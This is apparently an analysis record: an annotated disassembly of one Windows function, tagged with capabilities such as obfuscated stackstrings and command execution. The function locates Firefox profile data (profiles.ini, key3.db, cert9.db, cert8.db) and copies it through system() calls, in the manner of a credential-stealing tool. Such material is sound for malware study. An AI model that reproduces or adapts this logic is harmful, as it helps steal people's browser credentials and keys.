Function at 0x403850
Capabilities:
Contain obfuscated stackstrings
Execute command
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
push edi
mov edi, edx
push esi
mov esi, eax
push ebx
sub esp, 0x7fc
lea ebx, [esp + 0x408]
mov dword [esp + 0x10], eax
mov dword [esp], ebx
mov dword [esp + 0xc], str.gecko
mov dword [esp + 8], 0x4479c0
mov dword [esp + 4], str._s_s_s_cull
mov dword [esp + 0x24], edx
mov dword [esp + 0x2c], eax
call sym._sprintf_3
mov dword [esp], ebx
lea ebx, [esp + 0x304]
mov dword [esp + 4], 0x42580f
call sym._fopen
mov dword [esp + 0x10], ebx
mov dword [esp + 0x34], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1a
mov dword [esp], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x14
lea eax, [esp + 0x48]
mov dword [esp + 0x70], 0x764a4863
mov dword [esp + 4], eax
lea eax, [esp + 0x70]
mov dword [esp], eax
mov dword [esp + 0x74], 0x736c6d5a
mov dword [esp + 0x78], 0x754d585a
mov dword [esp + 0x7c], 0x70355761
mov byte [esp + 0x80], 0
call sym._base64_decode
mov dword [esp + 8], edi
lea edi, [esp + 0x5fc]
mov dword [esp + 0xc], eax
mov ebp, eax
mov dword [esp + 4], 0x425811
mov dword [esp], edi
call sym._sprintf_3
mov dword [esp + 4], edi
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 8
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov dword [esp], ebx
mov dword [esp + 0x28], eax
call eax
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x404295
mov dword [esp + 8], esi
lea esi, [esp + 0x174]
mov ebx, eax
mov dword [esp + 0xc], ebp
lea ebp, [esp + 0x23c]
mov dword [esp + 4], 0x425817
mov dword [esp], esi
call sym._sprintf_3
lea eax, [esp + 0x148]
mov dword [esp], 0x421284
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp + 0xc], edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], str.gecko
mov dword [esp + 0x10], 0x4479c0
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_
mov dword [esp], ebp
call sym._sprintf_3
mov dword [esp], ebp
call sym._system
mov dword [esp + 0x4c], 0
mov dword [esp + 4], 0
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
sub esp, 8
mov edi, eax
lea eax, [eax + 1]
mov dword [esp + 4], eax
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [esp], 0x40
mov dword [esp + 0x3c], eax
call eax
sub esp, 8
mov ecx, eax
mov dword [esp + 0x30], eax
lea eax, [esp + 0x4c]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
mov dword [esp + 4], ecx
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
cmp edi, dword [esp + 0x4c]
jne 0x4042a0
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea eax, [esp + 0x50]
mov dword [esp + 0x81], 0x6d564752
mov dword [esp + 4], eax
lea eax, [esp + 0x81]
mov dword [esp], eax
mov dword [esp + 0x85], 0x73565859
mov dword [esp + 0x89], 0x51314464
mov dword [esp + 0x8d], 0x6d396d63
mov dword [esp + 0x91], 0x6c785761
mov dword [esp + 0x95], 0x3d387963
mov byte [esp + 0x99], 0
call sym._base64_decode
mov dword [esp + 4], eax
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call sym._strstr
mov ebx, eax
test eax, eax
je 0x404295
mov edx, dword [esp + 0x38]
mov dword [esp], edx
call sym._strlen
mov byte [esp + 0xb2], 0
mov dword [esp + 0x9a], 0x6c526d4c
add ebx, eax
lea eax, [esp + 0x54]
mov dword [esp + 4], eax
lea eax, [esp + 0x9a]
mov dword [esp], eax
mov dword [esp + 0x9e], 0x31466d5a
mov dword [esp + 0xa2], 0x74514862
mov dword [esp + 0xa6], 0x73566d63
mov dword [esp + 0xaa], 0x7a46575a
mov dword [esp + 0xae], 0x3d3d515a
call sym._base64_decode
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._strstr
test eax, eax
je 0x404295
sub eax, ebx
mov dword [esp], 0x40
mov edx, eax
lea eax, [eax + 1]
mov dword [esp + 0x30], edx
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
call eax
sub esp, 8
mov edi, eax
mov edx, dword [esp + 0x30]
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [esp + 8], edx
call sym._strncpy
mov ebx, dword [esp + 0x34]
mov dword [esp], edi
mov dword [esp + 4], ebx
call sym._fputs
mov dword [esp + 4], ebx
mov dword [esp], 0xa
call sym._fputc
mov dword [esp], ebx
call sym._fclose
lea eax, [esp + 0x58]
mov dword [esp + 0x148], 0x6c526d4c
mov dword [esp + 4], eax
lea eax, [esp + 0x148]
mov dword [esp], eax
mov dword [esp + 0x14c], 0x31466d5a
mov dword [esp + 0x150], 0x74514862
mov dword [esp + 0x154], 0x73566d63
mov dword [esp + 0x158], 0x7a46575a
mov dword [esp + 0x15c], 0x7378565a
mov dword [esp + 0x160], 0x70643262
mov dword [esp + 0x164], 0x754d6e62
mov dword [esp + 0x168], 0x764e6e61
mov dword [esp + 0x16c], 0x3d3d6762
mov byte [esp + 0x170], 0
call sym._base64_decode
mov ecx, dword [esp + 0x24]
mov edx, edi
call sym._GetFirefoxFile
mov dword [esp + 0x18], 0
mov dword [esp + 0x30], eax
mov dword [esp], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
call eax
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x404350
lea eax, [esp + 0x120]
lea ebx, [esp + 0xd4]
mov dword [esp + 0x120], 0x76783258
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [esp + 0x124], 0x756c325a
mov dword [esp + 0x128], 0x71357963
mov dword [esp + 0x12c], 0x75393263
mov byte [esp + 0x130], 0
mov dword [esp + 0x34], eax
call sym._base64_decode
mov dword [esp + 4], 0x425862
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x2c]
mov dword [esp], esi
mov dword [esp + 8], eax
call sym._sprintf_3
lea eax, [esp + 0xf8]
mov dword [esp], 0x421284
mov dword [esp + 4], eax
mov dword [esp + 0x38], eax
call sym._base64_decode
mov ecx, dword [esp + 0x30]
mov dword [esp], ebp
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], str.gecko
mov dword [esp + 0x10], 0x4479c0
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_
call sym._sprintf_3
mov dword [esp], ebp
call sym._system
lea eax, [esp + 0x5c]
mov dword [esp + 0xb3], 0x6c526d4c
mov dword [esp + 4], eax
lea eax, [esp + 0xb3]
mov dword [esp], eax
mov dword [esp + 0xb7], 0x31466d5a
mov dword [esp + 0xbb], 0x74514862
mov dword [esp + 0xbf], 0x73566d63
mov dword [esp + 0xc3], 0x7a46575a
mov dword [esp + 0xc7], 0x7278565a
mov dword [esp + 0xcb], 0x306b585a
mov dword [esp + 0xcf], 0x69526d4c
mov byte [esp + 0xd3], 0
call sym._base64_decode
mov ecx, dword [esp + 0x24]
mov edx, edi
call sym._GetFirefoxFile
mov dword [esp + 0x18], 0
mov dword [esp], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
call eax
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x404338
mov eax, dword [esp + 0x34]
mov dword [esp + 4], ebx
mov dword [esp + 0x120], 0x6c743258
mov dword [esp], eax
mov dword [esp + 0x124], 0x75515465
mov dword [esp + 0x128], 0x3d49475a
mov byte [esp + 0x12c], 0
call sym._base64_decode
mov dword [esp + 4], 0x425862
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x2c]
mov dword [esp], esi
mov dword [esp + 8], eax
call sym._sprintf_3
mov eax, dword [esp + 0x38]
mov dword [esp], 0x421284
mov dword [esp + 4], eax
call sym._base64_decode
mov ecx, dword [esp + 0x30]
mov dword [esp], ebp
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], str.gecko
mov dword [esp + 0x10], 0x4479c0
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_
call sym._sprintf_3
mov dword [esp], ebp
call sym._system
test eax, eax
jne 0x4042b8
lea eax, [esp + 0x60]
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 0xd4], 0x6c526d4c
mov dword [esp + 0xd8], 0x31466d5a
mov dword [esp + 0xdc], 0x74514862
mov dword [esp + 0xe0], 0x73566d63
mov dword [esp + 0xe4], 0x7a46575a
mov dword [esp + 0xe8], 0x7278565a
mov dword [esp + 0xec], 0x7a6b585a
mov dword [esp + 0xf0], 0x69526d4c
mov byte [esp + 0xf4], 0
call sym._base64_decode
mov ecx, dword [esp + 0x24]
mov edx, edi
call sym._GetFirefoxFile
mov dword [esp + 0x18], 0
mov dword [esp], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
call eax
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x40401d
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], str._s_key3.db
mov dword [esp], esi
mov dword [esp + 8], eax
call sym._sprintf_3
mov eax, dword [esp + 0x34]
mov dword [esp], 0x421284
mov dword [esp + 4], eax
call sym._base64_decode
mov ecx, dword [esp + 0x30]
mov dword [esp], ebp
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], str.gecko
mov dword [esp + 0x10], 0x4479c0
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_
call sym._sprintf_3
mov dword [esp], ebp
call sym._system
test eax, eax
je 0x40401d
mov dword [esp], 0x425867
call sym._puts
lea eax, [esp + 0x64]
mov dword [esp + 0xf8], 0x6c526d4c
mov dword [esp + 4], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 0xfc], 0x31466d5a
mov dword [esp], eax
mov dword [esp + 0x100], 0x74514862
mov dword [esp + 0x104], 0x73566d63
mov dword [esp + 0x108], 0x7a46575a
mov dword [esp + 0x10c], 0x6a78565a
mov dword [esp + 0x110], 0x304a585a
mov dword [esp + 0x114], 0x6b35534f
mov dword [esp + 0x118], 0x3d3d6759
mov byte [esp + 0x11c], 0
call sym._base64_decode
mov ecx, dword [esp + 0x24]
mov edx, edi
call sym._GetFirefoxFile
mov dword [esp + 0x18], 0
mov dword [esp], eax
mov ebx, eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
call eax
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x404320
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], str._s_cert9.db
mov dword [esp], esi
mov dword [esp + 8], eax
call sym._sprintf_3
mov eax, dword [esp + 0x34]
mov dword [esp], 0x421284
mov dword [esp + 4], eax
call sym._base64_decode
mov ecx, dword [esp + 0x30]
mov dword [esp], ebp
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], str.gecko
mov dword [esp + 0x10], 0x4479c0
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_
call sym._sprintf_3
mov dword [esp], ebp
call sym._system
test eax, eax
jne 0x4042f0
mov ebx, dword [esp + 0x34]
lea eax, [esp + 0x68]
mov dword [esp + 0x120], 0x6c526d4c
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x124], 0x31466d5a
mov dword [esp + 0x128], 0x74514862
mov dword [esp + 0x12c], 0x73566d63
mov dword [esp + 0x130], 0x7a46575a
mov dword [esp + 0x134], 0x6a78565a
mov dword [esp + 0x138], 0x304a585a
mov dword [esp + 0x13c], 0x6b35434f
mov dword [esp + 0x140], 0x3d3d6759
mov byte [esp + 0x144], 0
call sym._base64_decode
mov ecx, dword [esp + 0x24]
mov edx, edi
mov eax, ebx
call sym._GetFirefoxFile
mov dword [esp + 0x18], 0
mov dword [esp], eax
mov ebx, eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
call eax
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x404308
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], str._s_cert8.db
mov dword [esp], esi
mov dword [esp + 8], eax
call sym._sprintf_3
lea eax, [esp + 0x6c]
mov dword [esp], 0x421284
mov dword [esp + 4], eax
call sym._base64_decode
mov ecx, dword [esp + 0x30]
mov dword [esp], ebp
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], str.gecko
mov dword [esp + 0x10], 0x4479c0
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_
call sym._sprintf_3
mov dword [esp], ebp
call sym._system
test eax, eax
jne 0x4042d0
add esp, 0x7fc
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.file_size_mismatch._n
call sym._printf_2
jmp 0x403a70
mov dword [esp], 0x425868
call sym._puts
jmp 0x403eed
mov dword [esp], 0x425868
call sym._puts
add esp, 0x7fc
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0x425868
call sym._puts
jmp 0x40415a
mov dword [esp + 4], ebx
mov dword [esp], str.File_not_found_at:__s__n
call sym._printf_2
jmp 0x404295
mov dword [esp + 4], ebx
mov dword [esp], str.File_not_found_at:__s__n
call sym._printf_2
jmp 0x40415a
mov dword [esp], 0x425867
call sym._puts
jmp 0x403eed
mov eax, dword [esp + 0x30]
mov dword [esp], str.File_not_found_at:__s__n
lea ebx, [esp + 0xd4]
mov dword [esp + 4], eax
call sym._printf_2
lea eax, [esp + 0x120]
mov dword [esp + 0x34], eax
lea eax, [esp + 0xf8]
mov dword [esp + 0x38], eax
jmp 0x403d7d